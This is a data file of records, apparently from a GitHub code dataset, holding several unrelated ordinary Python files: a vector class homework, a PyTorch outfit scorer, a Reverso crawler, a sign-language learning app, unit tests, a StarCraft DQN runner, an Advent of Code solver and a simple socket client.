+{"seq_id":"706587871","text":"\n\n# Реалізуйте клас вектора. Перегрузіть оператор + і * таким чином, щоб\n# при додаванні двох векторів, утворювався новий вектор, координатами\n# якого буде сума відповідних координат. При множені двох векторів,\n# результатом буде число яке рахується по формулі – сума добуктів\n# відповідних координат. При додаванні або мнодені вектора на число\n# (константу), всі координати додаються або множаться на дане число\n# відповідно.\n\nclass Vector:\n    def __init__(self, x, y, z):\n        self.x = x\n        self.y = y\n        self.z = z\n\n    def __str__(self):\n        return f'Vector [{self.x}, {self.y}, {self.z}]'\n\n    def __add__(self, other):\n        if type(other) in [int, float]:\n            return Vector(self.x + other, self.y + other, self.z + other)\n        else:\n            return Vector(self.x + other.x, self.y + other.y, self.z + other.z)\n\n    def __mul__(self, other):\n        if type(other) in [int, float]:\n            return Vector(self.x * other, self.y * other, self.z * other)\n        else:\n            x = self.x * other.x\n            y = self.y * other.y\n            z = self.z * other.z\n            return x + y + z\n\n\n\nv1 = Vector(3, 5, 6)\nv2 = Vector(2, 5, 7)\nv3 = Vector(3, 5, 4)\nprint(v1, v2, v3)\nprint(v1 + v2)\nprint(v1 + 3)\nprint(v1 * v2)\nprint(v1 * 2)\n\n\n","repo_name":"Nazarust/Hillel_Homework","sub_path":"HW_4_Kulyk/Task_3/script_1.py","file_name":"script_1.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73338959688","text":"from capstone import Model\nimport torch\nfrom torchvision import transforms\nfrom PIL import Image\nimport numpy\nimport os\nimport io\n\nmodel = Model()\nmodel.load_state_dict(torch.load(\"./FirstModel\", map_location='cpu'))\n\n\ndef get_combinations(shirts, pants, shoes):\n    \"\"\"\n\n    :param : pants, shirts, shoes directory 에 저장한 사진을 읽는다.\n    :return: _combination_list\n    \"\"\"\n    _pants_list = []\n    _shirts_list = []\n    _shoes_list = []\n    _combination_list = []    #상의, 하의, 신발 순서\n    # 데이터 삽입\n    _shirts_list = shirts\n    _pants_list = pants\n    _shoes_list = shoes\n    for shirt in _shirts_list:\n        for pant in _pants_list:\n            for shoes in _shoes_list:\n                _combination_list.append((shirt, pant, shoes))\n\n    return _combination_list\n\n\ndef get_scores(in_tensor_u, in_tensor_p, in_tensor_s): #상의, 하의, 신발 순서\n    \"\"\"\n    :param in_tensor_u: tensor type 으로 변환된 상의\n    :param in_tensor_p: tensor type 으로 변환된 하의\n    :param in_tensor_s: tensor type 으로 변환된 신발\n    :return: score\n    \"\"\"\n    score = model(in_tensor_u, in_tensor_p, in_tensor_s)\n    return score\n\n\ndef image_transform(infile):\n    \"\"\"\n    :param infile:\n    :return:\n    \"\"\"\n    input_transforms = [transforms.ToTensor(),\n                        transforms.Resize((256, 256)),\n                        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),\n                        ]\n    my_transforms = transforms.Compose(input_transforms)\n    image = Image.open(infile)\n    timg = my_transforms(image)\n\n    return timg\n\ndef sort_score(_re):\n\n    return sorted(_re.items(), reverse=True) # .items() 튜플 리스트 리턴\n\ndef outfit_show(_re):\n    for k, v in _re.items():\n        Image.show(v)\n","repo_name":"Yang-Min-Seok/Outsourcing","sub_path":"torch_utils.py","file_name":"torch_utils.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74413068809","text":"import csv\nimport os\n\nimport requests\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\ndef crawl_top(targetURL, onlyNames=False, ranking=False):\n    \"\"\" Crawls top list or ranking page looking for links to target words/expressions \"\"\"\n\n    # Reverso requires user-agent, otherwise it will refuse the request\n    headers = {\n        \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\"\n    }\n\n    req = requests.get(targetURL, headers=headers)\n    if req.status_code == 200:\n        path = urllib.parse.urlparse(targetURL).path\n        name = os.path.splitext(os.path.basename(path))[0]\n\n        os.makedirs('crawled/txt/', exist_ok=True)\n        with open(f\"crawled/txt/crawl_{name}.txt\", \"w+\", encoding=\"utf-8\") as crawl:\n            print(\"Successful GET request!\")\n\n            # Extract the HTML content from the URL for parsing\n            content = req.content\n            html = BeautifulSoup(content, \"html.parser\")\n\n            topListDiv = html.find(\"div\", class_=\"top_list\")\n            links = topListDiv.find_all(\"a\")\n\n            # Ex: /index/frances-portugues/w.html\n            if ranking:\n                hrefs = [link[\"href\"] for link in links]\n            else:  # Ex: /index/frances-portugues/w-1-300.html\n                # top lists have 'In Simon we trust' unwanted URL (easter egg?)\n                hrefs = [link[\"href\"] for link in links[:-1]]\n\n\n            if onlyNames:\n                extracted_names = [link.text for link in links]\n                for name in extracted_names:\n                    crawl.write(f\"{name}\\n\")\n                return extracted_names\n            else:\n                for href in hrefs:\n                    crawl.write(f\"{href}\\n\")\n                return hrefs\n\n\ndef crawl_all(type = 'p'):\n    base_url = f\"https://context.reverso.net/traducao/index/frances-portugues/{type}.html\"\n\n    # First, get the URLs for the ranking pages\n    ranking_urls = crawl_top(base_url, ranking=True)\n\n    # Then, iterate over the ranking pages and get the names on each page\n    os.makedirs('crawled/csv', exist_ok=True)\n    for ranking_url in ranking_urls:\n        names = crawl_top(ranking_url, onlyNames=True, ranking=False)\n\n        # Extract subranking identifier from the URL\n        subranking = ranking_url.split('/')[-1].split('.')[0]  # e.g. p-401-800\n        # Create a CSV file for this subranking\n        with open(f'crawled/csv/{subranking}.csv', 'w', newline='', encoding='utf-8') as csvfile:\n            writer = csv.writer(csvfile)\n            writer.writerow(['Name', 'URL'])  # CSV header\n\n            for name in names:\n                # Build Reverso URL for each name\n                name_url = f\"https://context.reverso.net/traducao/frances-portugues/{urllib.parse.quote(name)}\"\n                writer.writerow([name, name_url])\n            print(f\"Finished crawling {subranking}\")\n","repo_name":"AtilioA/web-scraping-for-sentence-mining","sub_path":"reverso_scraping/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"27575671517","text":"import mediapipe as mp\nimport uuid\nimport numpy as np\nimport pandas as pd\nimport os\nimport random\nimport cv2\nimport tensorflow as tf\nimport time\nimport streamlit as st\nimport streamlit.components.v1 as components\nfrom PIL import Image\n\ncap = cv2.VideoCapture(0)\nmp_drawing = mp.solutions.drawing_utils\nmp_hands = mp.solutions.hands\nalphabets = list(\"ABCDEFGHIKLMNOPQRSTUVWXY\")\n\nmodel = tf.keras.models.load_model(\"newmodel.keras\")\nst.title(\"Lesson 1 - The Alphabet\")\ncorrect_count = 0\nframe_placeholder = st.empty()\nstop_button_col, skip_button_col, _, _, _, _, _, _ = st.columns(8)\n\nstop_button_pressed = stop_button_col.button(\"Stop\")\nskip_button_pressed = skip_button_col.button(\"Skip\")\n\n\n\ndata = st.markdown('Loading...')\ncurrentLetter = st.markdown('')\nct = st.markdown('')\ntt = st.markdown('')\nst.divider()\n\ncomponents.html(\n    \"\"\"\n    <style>\n    @import url('https://fonts.googleapis.com/css2?family=Roboto&display=swap');\n    body {\n        font-family: 'Roboto', sans-serif;\n    }\n    </style>\n    <script>\n    </script>\n    \"\"\",\n)\n# st.markdown('<span style=\"color:red\">This text is red</span>', unsafe_allow_html=True)\n\nst.session_state.correct_letter = None\ncorrect_letter_start_time = None\nimage_placeholder = st.empty()\nasl_images = {letter: f\"images/{letter}.png\" for letter in alphabets}\n\nst.sidebar.title(\"Signs Correct\")\ndd = st.sidebar.markdown('Number of Signs correct: 0')\n\n\nwith mp_hands.Hands(min_detection_confidence=0.8, min_tracking_confidence=0.5) as hands:\n    while cap.isOpened() and not stop_button_pressed:\n        if (st.session_state.correct_letter is None) or (st.session_state.correct_letter == \"CORRECT\"):\n            # Generate a random letter if the correct letter has not been signed\n            st.session_state.correct_letter = random.choice(alphabets)\n            correct_letter_start_time = None  # Reset the start time for the next letter\n            ct.text('')\n            letter_image_path = asl_images[st.session_state.correct_letter]\n            letter_image = Image.open(letter_image_path)\n            image_placeholder.image(letter_image, channels=\"RGB\", width=275)\n        \n        if skip_button_pressed:\n            # Generate a random letter if the correct letter has not been signed\n            st.session_state.correct_letter = random.choice(alphabets)\n            correct_letter_start_time = None  # Reset the start time for the next letter\n            ct.text('')\n            letter_image_path = asl_images[st.session_state.correct_letter]\n            letter_image = Image.open(letter_image_path)\n            image_placeholder.image(letter_image, channels=\"RGB\", width=275)\n            skip_button_pressed = False\n\n\n        ret, frame = cap.read()\n        # BGR 2 RGB\n        image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n        # Flip on horizontal\n        image = cv2.flip(image, 1)\n        # Set flag\n        image.flags.writeable = False\n        # Detections\n        results = hands.process(image)\n        # Set flag to true\n        image.flags.writeable = True\n        # Detections\n        print(results)\n        \n        if not ret:\n            st.write(\"cap has ended\")\n            break\n\n        # Rendering results\n        landmark_vertices_xyz = []\n        temp_dataset = []\n        if results.multi_hand_landmarks:\n            for num, hand in enumerate(results.multi_hand_landmarks):\n                mp_drawing.draw_landmarks(image, hand, mp_hands.HAND_CONNECTIONS, \n                                        mp_drawing.DrawingSpec(color=(121, 22, 76), thickness=2, circle_radius=4),\n                                        mp_drawing.DrawingSpec(color=(250, 44, 250), thickness=2, circle_radius=2),\n                                            )\n#            print(results.multi_hand_landmarks)\n            for l in results.multi_hand_landmarks[0].landmark:\n                landmark_vertices_xyz.append(l.x)\n                landmark_vertices_xyz.append(l.y)\n                landmark_vertices_xyz.append(l.z)\n\n            temp_dataset.append(tuple(landmark_vertices_xyz))\n            ll = np.array(temp_dataset)\n            label_idx = np.argmax(model.predict(ll.reshape((1, -1))))\n            label = alphabets[label_idx]\n            print(label)\n            frame_placeholder.image(image, channels=\"RGB\")\n\n            if label == st.session_state.correct_letter:\n                if correct_letter_start_time is None:\n                    correct_letter_start_time = time.time()\n\n                tt.markdown(str(time.time() - correct_letter_start_time)[0:4])\n                \n                if time.time() - correct_letter_start_time >= 1.5:\n                    st.session_state.correct_letter = \"CORRECT\"\n                    ct.markdown('<span style=\"color:green;font-size:100px;\">Correct! 😎</span>', unsafe_allow_html=True)\n                    correct_count += 1\n                    dd.markdown(f\"Number of Signs Correct: {correct_count}\")\n                    time.sleep(1.2)  # Add a small delay to display the \"Correct!\" message\n                    st.session_state.correct_letter = None  # Reset the correct letter\n\n            data.markdown(\"Current signed letter: \" + label)\n\n            if st.session_state.correct_letter is None:\n                continue\n            if label != st.session_state.correct_letter:\n                currentLetter.markdown(f'<span style=\"color:orange;font-size:24px;\">Your goal is to sign the letter: <span style=\"font-weight:900;\">{st.session_state.correct_letter}</span>. <br />Once you sign the letter, hold your sign for 1.5 seconds to really start learning!</span>', unsafe_allow_html=True)\n                correct_letter_start_time = None\n            \n\n        if cv2.waitKey(10) & 0xFF == ord('q'):\n            break\n\n\ncap.release()\ncv2.destroyAllWindows()","repo_name":"justanotherinternetguy/SignSensei-Deploy","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34054977861","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\"\"\"\nfrom datetime import datetime\n\nimport pytest\nfrom flask import current_app\nfrom flask import Response\nfrom freezegun import freeze_time\n\nfrom trendlines import orm\nfrom trendlines import utils\nfrom .test_orm import _hash_file\n\n\ndef test_adjust_jsonify_mimetype(app_context):\n    var_name = \"JSONIFY_MIMETYPE\"\n    old = current_app.config[var_name]\n    assert current_app.config[var_name] != \"foo\"\n    with utils.adjust_jsonify_mimetype('foo'):\n        assert current_app.config[var_name] == 'foo'\n    assert current_app.config[var_name] == old\n\n\n@pytest.mark.parametrize(\"metric, expected\", [\n    (\"foo\", \"#\"),\n    (\"foo.bar\", \"foo\"),\n    (\"foo.bar.baz\", \"foo.bar\"),\n])\ndef test_get_metric_parent(metric, expected):\n    assert utils.get_metric_parent(metric) == expected\n\n\n@pytest.mark.parametrize(\"data, expected\", [\n    (orm.Metric(metric_id=1, name=\"foo\"),\n     {\"id\": \"foo\", \"parent\": \"#\", \"text\": \"foo\", \"metric_id\": 1}),\n    (orm.Metric(metric_id=2, name=\"foo.bar\"),\n     {\"id\": \"foo.bar\", \"parent\": \"foo\", \"text\": \"foo.bar\", \"metric_id\": 2}),\n    (orm.Metric(metric_id=3, name=\"foo.bar.baz\"),\n     {\"id\": \"foo.bar.baz\", \"parent\": \"foo.bar\", \"text\": \"foo.bar.baz\",\n      \"metric_id\": 3}),\n])\ndef test_format_metric_for_jstree(test_request_context, data, expected):\n    rv = utils.format_metric_for_jstree(data)\n    assert rv == expected\n\n\n@pytest.mark.parametrize(\"metrics, expected\", [\n    ([orm.Metric(metric_id=1, name=\"foo\"),\n      orm.Metric(metric_id=2, name=\"foo.bar\")], [\n        {\"id\": \"foo\", \"parent\": \"#\", \"text\": \"foo\",\n         \"metric_id\": 1},\n        {\"id\": \"foo.bar\", \"parent\": \"foo\", \"text\": \"foo.bar\",\n         \"metric_id\": 2},\n        ]\n     ),\n    ([orm.Metric(metric_id=1, name=\"foo.bar.baz\")], [\n        {\"id\": \"foo\", \"parent\": \"#\", \"text\": \"foo\", \"metric_id\": None},\n        {\"id\": \"foo.bar\", \"parent\": \"foo\", \"text\": \"foo.bar\", \"metric_id\": None},\n        {\"id\": \"foo.bar.baz\", \"parent\": \"foo.bar\", \"text\": \"foo.bar.baz\",\n         \"metric_id\": 1},\n        ]\n     ),\n    ([orm.Metric(metric_id=1, name=\"foo.bar\"),\n      orm.Metric(metric_id=2, name=\"foo.baz\")], [\n        {\"id\": \"foo\", \"parent\": \"#\", \"text\": \"foo\", \"metric_id\": None},\n        {\"id\": \"foo.bar\", \"parent\": \"foo\", \"text\": \"foo.bar\",\n         \"metric_id\": 1},\n        {\"id\": \"foo.baz\", \"parent\": \"foo\", \"text\": \"foo.baz\",\n         \"metric_id\": 2},\n        ]\n     ),\n    ([orm.Metric(metric_id=1, name=\"foo\"),\n      orm.Metric(metric_id=2, name=\"foo.bar\"),\n      orm.Metric(metric_id=3, name=\"bar.baz.biz\")], [\n        {\"id\": \"bar\", \"parent\": \"#\", \"text\": \"bar\", \"metric_id\": None},\n        {\"id\": \"bar.baz\", \"parent\": \"bar\", \"text\": \"bar.baz\", \"metric_id\": None},\n        {\"id\": \"bar.baz.biz\", \"parent\": \"bar.baz\", \"text\": \"bar.baz.biz\",\n         \"metric_id\": 3},\n        {\"id\": \"foo\", \"parent\": \"#\", \"text\": \"foo\",\n         \"metric_id\": 1},\n        {\"id\": \"foo.bar\", \"parent\": \"foo\", \"text\": \"foo.bar\",\n         \"metric_id\": 2},\n       ]\n     )\n])\ndef test_build_jstree_data(test_request_context, metrics, expected):\n    rv = utils.build_jstree_data(metrics)\n    assert rv == expected\n\n\ndef test_format_data(raw_data):\n    rv = utils.format_data(raw_data)\n    assert isinstance(rv, dict)\n    assert len(rv) == 2\n    assert 'rows' in rv.keys()\n    assert 'units' in rv.keys()\n    assert isinstance(rv['rows'], list)\n    assert len(rv['rows']) == 4\n    data_0 = rv['rows'][0]\n    assert isinstance(data_0, dict)\n    # Why don't I just use an expected dict here? Because I haven't bothered\n    # to freeze time on the `conftest.populated_db` fixture yet.\n    assert \"timestamp\" in data_0.keys()\n    assert \"value\" in data_0.keys()\n    assert \"id\" in data_0.keys()\n    assert \"n\" in data_0.keys()\n    assert data_0['value'] == 15\n    assert isinstance(data_0['timestamp'], str)\n    try:\n        #  datetime.fromisoformat(data_0['timestamp'])   # Python 3.7 only\n        datetime.strptime(data_0['timestamp'], \"%Y-%m-%dT%H:%M:%S\")\n    except Exception as err:\n        pytest.fail(\"data['timestamp'] is not the correct format\")\n\n\n@freeze_time(\"2019-01-25T04:32:28Z\")        # 1548390748\n@pytest.mark.parametrize(\"value, expected\", [\n    (\"metric 15\",\n     {\"metric\": \"metric\", \"value\": 15, \"time\": 1548390748}),\n    (b\"metric 19\",\n     {\"metric\": \"metric\", \"value\": 19, \"time\": 1548390748}),\n    (\"foo.bar 123.78 1546532070\",\n     {\"metric\": \"foo.bar\", \"value\": 123.78, \"time\": 1546532070}),\n])\ndef test_parse_socket_data(value, expected):\n    rv = utils.parse_socket_data(value)\n    expected_keys = {\"metric\", \"value\", \"time\"}\n    assert set(rv.keys()) == expected_keys\n    assert rv == expected\n\n\n@pytest.mark.parametrize(\"value\", [\n    \"metric 15 apple\",\n    \"foo bar 16\",\n    \"aasdas 24.4523 \",\n])\ndef test_parse_socket_data_raises_value_error(value):\n    with pytest.raises(ValueError):\n        utils.parse_socket_data(value)\n\n\n@freeze_time(\"2019-01-25T04:32:28Z\")\ndef test_backup_file(tmp_path):\n    path = tmp_path / \"foo.bar\"\n    path.write_text(\"hello\")\n    rv = utils.backup_file(path)\n    assert rv.exists()\n    assert rv.name == \"foo.bar.20190125_043228\"\n    assert _hash_file(path) == _hash_file(rv)\n","repo_name":"dougthor42/trendlines","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"8946103599","text":"import importlib\nimport threading\n\nfrom absl import flags, app\n\nfrom pysc2 import maps\nfrom pysc2.env import run_loop as run_loop\nfrom pysc2.env import sc2_env, available_actions_printer\nfrom pysc2.lib import stopwatch, actions, features, units, point_flag\nfrom dqn_move_only import DQNMoveOnlyAgent as DQNAgent\n\n\nAGENT = DQNAgent(learning_rate=5e-4,  # note, epsilon follows a schedule in DQN homework...linear schedule?\n                        batch_size=1,\n                        prioritized=True)\n\n\ndef run_thread(agents, players, map_, visualize=False):\n    ''' set up and run sc2_env loop '''\n    # agents = [AGENT,]\n    try:\n        while True:\n            with sc2_env.SC2Env(\n                map_name=map_,\n                step_mul=8,\n                visualize=visualize,\n                players=players,\n                agent_interface_format=sc2_env.parse_agent_interface_format(\n                    feature_screen=32,\n                    feature_minimap=32,\n                    action_space=None,  # what to do about this later?\n                    use_feature_units=True),\n                game_steps_per_episode=0\n                ) as env:\n\n\n                # agents = [agent_cls() for agent_cls in agent_classes]\n                env = available_actions_printer.AvailableActionsPrinter(env)  # what this do?\n                run_loop.run_loop(agents, env, max_frames=0, max_episodes=0)\n\n\n    except KeyboardInterrupt:\n        pass\n\n\ndef main(unused_argv):\n    ''' run agent in env loop '''\n    stopwatch.sw.enabled = False\n    stopwatch.sw.trace = False\n\n    map_ = 'CollectMineralShards'\n    map_inst = maps.get(map_)\n    agents = [AGENT,]\n\n\n    players=[sc2_env.Agent(sc2_env.Race.terran)]\n\n    run_thread(agents, players, map_, visualize=False)\n\n\nif __name__ == '__main__':\n    app.run(main)\n\n\n\n\n","repo_name":"lbianculli/starcraft_agents","sub_path":"dqn_minigames/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"1209093321","text":"import numpy as np\n\nfrom utils import read_file, print_part_1, print_part_2\n\n\n# -- PARSE INPUT -- #\ndef parse_input():\n    images = {}\n\n    input = read_file('input.txt')\n\n    i = 0\n    while i < len(input):\n        tile_id = int(input[i][5:9])\n        image_text = [line.replace('.', '0').replace('#', '1') for line in input[i + 1:i + 11]]\n        image = np.array([[letter for letter in line] for line in image_text])\n\n        top_row_id = int(''.join(image[0, :]), 2)\n        bottom_row_id = int(''.join(image[-1, :]), 2)\n        left_col_id = int(''.join(image[:, 0]), 2)\n        right_col_id = int(''.join(image[:, -1]), 2)\n\n        top_row_id_rot = int(''.join(image[0, :])[::-1], 2)\n        bottom_row_id_rot = int(''.join(image[-1, :])[::-1], 2)\n        left_col_id_rot = int(''.join(image[:, 0])[::-1], 2)\n        right_col_id_rot = int(''.join(image[:, -1])[::-1], 2)\n\n        images[tile_id] = {'image': image, 'ids': [top_row_id, bottom_row_id, left_col_id, right_col_id],\n                           'rotated_ids': [top_row_id_rot, bottom_row_id_rot, left_col_id_rot, right_col_id_rot]}\n\n        i += 12\n\n    return images\n\n\nimages = parse_input()\n\n# -- PART 1 -- #\ncorners = []\n\nimg_keys = list(images.keys())\n\nfor i in range(len(img_keys)):\n    top_value, bottom_value, left_value, right_value = images[img_keys[i]]['ids']\n\n    top_left_is_border = True\n    top_right_is_border = True\n    bottom_right_is_border = True\n    bottom_left_is_border = True\n\n    for j in range(len(img_keys)):\n        if i != j:\n            second_tile_values = images[img_keys[j]]['ids'] + images[img_keys[j]]['rotated_ids']\n\n            if top_value in second_tile_values or left_value in second_tile_values:\n                top_left_is_border = False\n            if top_value in second_tile_values or right_value in second_tile_values:\n                top_right_is_border = False\n            if bottom_value in second_tile_values or right_value in second_tile_values:\n                bottom_right_is_border = False\n            if bottom_value in second_tile_values or left_value in second_tile_values:\n                bottom_left_is_border = False\n\n            if (top_left_is_border is False) and (top_right_is_border is False) and (bottom_right_is_border is False) \\\n                    and (bottom_left_is_border is False):\n                break\n\n    if top_left_is_border or top_right_is_border or bottom_right_is_border or bottom_left_is_border:\n        corners.append(img_keys[i])\n\nresult = 1\nfor corner in corners:\n    result *= corner\n\nprint_part_1(result)\n\n\n# -- PART 2 -- #\ndef rotate_to_match_right_side(side_id, tile, tile_values):\n    matching_side = tile_values.index(side_id)\n\n    if matching_side == 0:\n        tile_image = np.rot90(np.fliplr(tile['image']))\n        right_value = tile['ids'][1]\n        bottom_value = tile['ids'][3]\n    elif matching_side == 1:\n        tile_image = np.rot90(tile['image'], 3)\n        right_value = tile['ids'][0]\n        bottom_value = tile['rotated_ids'][3]\n    elif matching_side == 2:\n        tile_image = tile['image']\n        right_value = tile['ids'][3]\n        bottom_value = tile['ids'][1]\n    elif matching_side == 3:\n        tile_image = np.fliplr(tile['image'])\n        right_value = tile['ids'][2]\n        bottom_value = tile['rotated_ids'][1]\n    elif matching_side == 4:\n        tile_image = np.rot90(tile['image'])\n        right_value = tile['rotated_ids'][1]\n        bottom_value = tile['ids'][2]\n    elif matching_side == 5:\n        tile_image = np.rot90(np.fliplr(tile['image']), 3)\n        right_value = tile['rotated_ids'][0]\n        bottom_value = tile['rotated_ids'][2]\n    elif matching_side == 6:\n        tile_image = np.rot90(np.fliplr(tile['image']), 2)\n        right_value = tile['rotated_ids'][3]\n        bottom_value = tile['ids'][0]\n    else:\n        tile_image = np.rot90(tile['image'], 2)\n        right_value = tile['rotated_ids'][2]\n        bottom_value = tile['rotated_ids'][0]\n\n    return tile_image, right_value, bottom_value\n\n\ndef place_tiles_on_right():\n    for _ in range(sea_image_size - 1):\n        for image_id in images:\n            if image_id not in used_images:\n                tile_values = images[image_id]['ids'] + images[image_id]['rotated_ids']\n\n                if sea_image_unparsed[-1]['right_value'] in tile_values:\n                    tile_image, right_value, bottom_value = rotate_to_match_right_side(\n                        sea_image_unparsed[-1]['right_value'], images[image_id], tile_values)\n\n                    sea_image_unparsed.append({'image_id': image_id, 'image': tile_image,\n                                               'right_value': right_value, 'bottom_value': bottom_value})\n                    used_images.append(image_id)\n\n\ndef rotate_to_match_bottom_side(side_id, tile, tile_values):\n    matching_side = tile_values.index(side_id)\n\n    if matching_side == 0:\n        tile_image = tile['image']\n        right_value = tile['ids'][3]\n        bottom_value = tile['ids'][1]\n    elif matching_side == 1:\n        tile_image = np.rot90(np.fliplr(tile['image']), 2)\n        right_value = tile['rotated_ids'][3]\n        bottom_value = tile['ids'][0]\n    elif matching_side == 2:\n        tile_image = np.rot90(np.fliplr(tile['image']))\n        right_value = tile['ids'][1]\n        bottom_value = tile['ids'][3]\n    elif matching_side == 3:\n        tile_image = np.rot90(tile['image'])\n        right_value = tile['rotated_ids'][1]\n        bottom_value = tile['ids'][2]\n    elif matching_side == 4:\n        tile_image = np.fliplr(tile['image'])\n        right_value = tile['ids'][2]\n        bottom_value = tile['rotated_ids'][1]\n    elif matching_side == 5:\n        tile_image = np.rot90(tile['image'], 2)\n        right_value = tile['rotated_ids'][2]\n        bottom_value = tile['rotated_ids'][0]\n    elif matching_side == 6:\n        tile_image = np.rot90(tile['image'], 3)\n        right_value = tile['ids'][0]\n        bottom_value = tile['rotated_ids'][3]\n    else:\n        tile_image = np.rot90(np.fliplr(tile['image']), 3)\n        right_value = tile['rotated_ids'][0]\n        bottom_value = tile['rotated_ids'][2]\n\n    return tile_image, right_value, bottom_value\n\n\ndef place_tile_on_bottom():\n    for image_id in images:\n        if image_id not in used_images:\n            tile_values = images[image_id]['ids'] + images[image_id]['rotated_ids']\n\n            if sea_image_unparsed[-sea_image_size]['bottom_value'] in tile_values:\n                tile_image, right_value, bottom_value = rotate_to_match_bottom_side(\n                    sea_image_unparsed[-sea_image_size]['bottom_value'], images[image_id], tile_values)\n\n                sea_image_unparsed.append({'image_id': image_id, 'image': tile_image,\n                                           'right_value': right_value, 'bottom_value': bottom_value})\n                used_images.append(image_id)\n\n\nsea_image_size = 12\nsea_image_unparsed = [{'image_id': corners[0], 'image': images[corners[0]]['image'],\n                       'right_value': images[corners[0]]['ids'][3], 'bottom_value': images[corners[0]]['ids'][1]}]\nused_images = [corners[0]]\n\nplace_tiles_on_right()\n\nfor _ in range(sea_image_size - 1):\n    place_tile_on_bottom()\n    place_tiles_on_right()\n\nsea_image = np.zeros([8 * sea_image_size, 8 * sea_image_size], dtype=str)\n\nfor row in range(sea_image_size):\n    for col in range(sea_image_size):\n        unparsed_index = row * sea_image_size + col\n        sea_image[row * 8:row * 8 + 8, col * 8:col * 8 + 8] = sea_image_unparsed[unparsed_index]['image'][1:-1, 1:-1]\n\n\ndef contains_sea_monster(grid):\n    monster_places = [grid[0, 18], grid[1, 0],\n                      grid[1, 5], grid[1, 6], grid[1, 11], grid[1, 12], grid[1, 17], grid[1, 18], grid[1, 19],\n                      grid[2, 1], grid[2, 4], grid[2, 7], grid[2, 10], grid[2, 13], grid[2, 16]]\n\n    if '0' in monster_places:\n        return False\n    return True\n\n\n# get appropriate orientation of sea image\nnum_monsters = 0\nwhile num_monsters == 0:\n    sea_image = np.fliplr(sea_image)\n    for _ in range(4):\n        sea_image = np.rot90(sea_image)\n\n        num_monsters = 0\n        for row in range(len(sea_image) - 3):\n            for col in range(len(sea_image) - 20):\n                if contains_sea_monster(sea_image[row:row + 3, col:col + 20]):\n                    num_monsters += 1\n\n        if num_monsters != 0:\n            break\n\n\ndef add_marks(grid):\n    grid[0, 18] = 'x'\n    grid[1, 0] = 'x'\n    grid[1, 5] = 'x'\n    grid[1, 6] = 'x'\n    grid[1, 11] = 'x'\n    grid[1, 12] = 'x'\n    grid[1, 17] = 'x'\n    grid[1, 18] = 'x'\n    grid[1, 19] = 'x'\n    grid[2, 1] = 'x'\n    grid[2, 4] = 'x'\n    grid[2, 7] = 'x'\n    grid[2, 10] = 'x'\n    grid[2, 13] = 'x'\n    grid[2, 16] = 'x'\n\n\nfor row in range(len(sea_image) - 3):\n    for col in range(len(sea_image) - 20):\n        if contains_sea_monster(sea_image[row:row + 3, col:col + 20]):\n            add_marks(sea_image[row:row + 3, col:col + 20])\n\nprint_part_2(np.count_nonzero(sea_image == '1'))\n","repo_name":"ArturoBlazquez/advent-of-code-2020","sub_path":"day20/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13455909935","text":"import socket \nimport time\n\nHOST = input(\"Digite o ip do gateway: \")\nPORT = 10000\nADDR = (HOST, PORT)\nBUF_SIZE = 1024\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect(ADDR)\n\nreg_message = f\"version: 1.0\\r\\nto: {HOST}:{PORT}\\r\\nfrom: client\\r\\n\"\nreg_message += \"action: register-client\\r\\ntype: request\\r\\nbody-size: 0\\r\\n\\r\\n\"\nreg_message = reg_message.encode(\"utf-8\")\nsock.send(reg_message)\n\nreturn_message = sock.recv(BUF_SIZE)\nreturn_message = return_message.decode(\"utf-8\") \nreturn_message = return_message.split(\"\\r\\n\\r\\n\")\nthis_id = return_message[1]\nprint(f\"ID do Client: {this_id}\")\n\nwhile True:\n    message = sock.recv(BUF_SIZE)\n    message = message.decode(\"utf-8\") \n    message = message.split(\"\\r\\n\\r\\n\")\n    remote_id = message[0].split(\"\\r\\n\")\n    remote_id = remote_id[2].split(\"from: \")\n    remote_id = remote_id[1]\n\n    print(f\"\\nMensagem recebida de: {remote_id}\")\n\n    pong_message = f\"version: 1.0\\r\\nto: {remote_id}\\r\\nfrom: {this_id}\\r\\n\"\n    pong_message += f\"action: send-to-client\\r\\ntype: text\\r\\nbody-size: 4\\r\\n\\r\\nPONG\"\n    pong_message = pong_message.encode(\"utf-8\")\n    sock.send(pong_message)\n\ntime.sleep(2)\nsock.close()\n","repo_name":"carlohfr/NautilusGateway","sub_path":"testes/t2return.py","file_name":"t2return.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
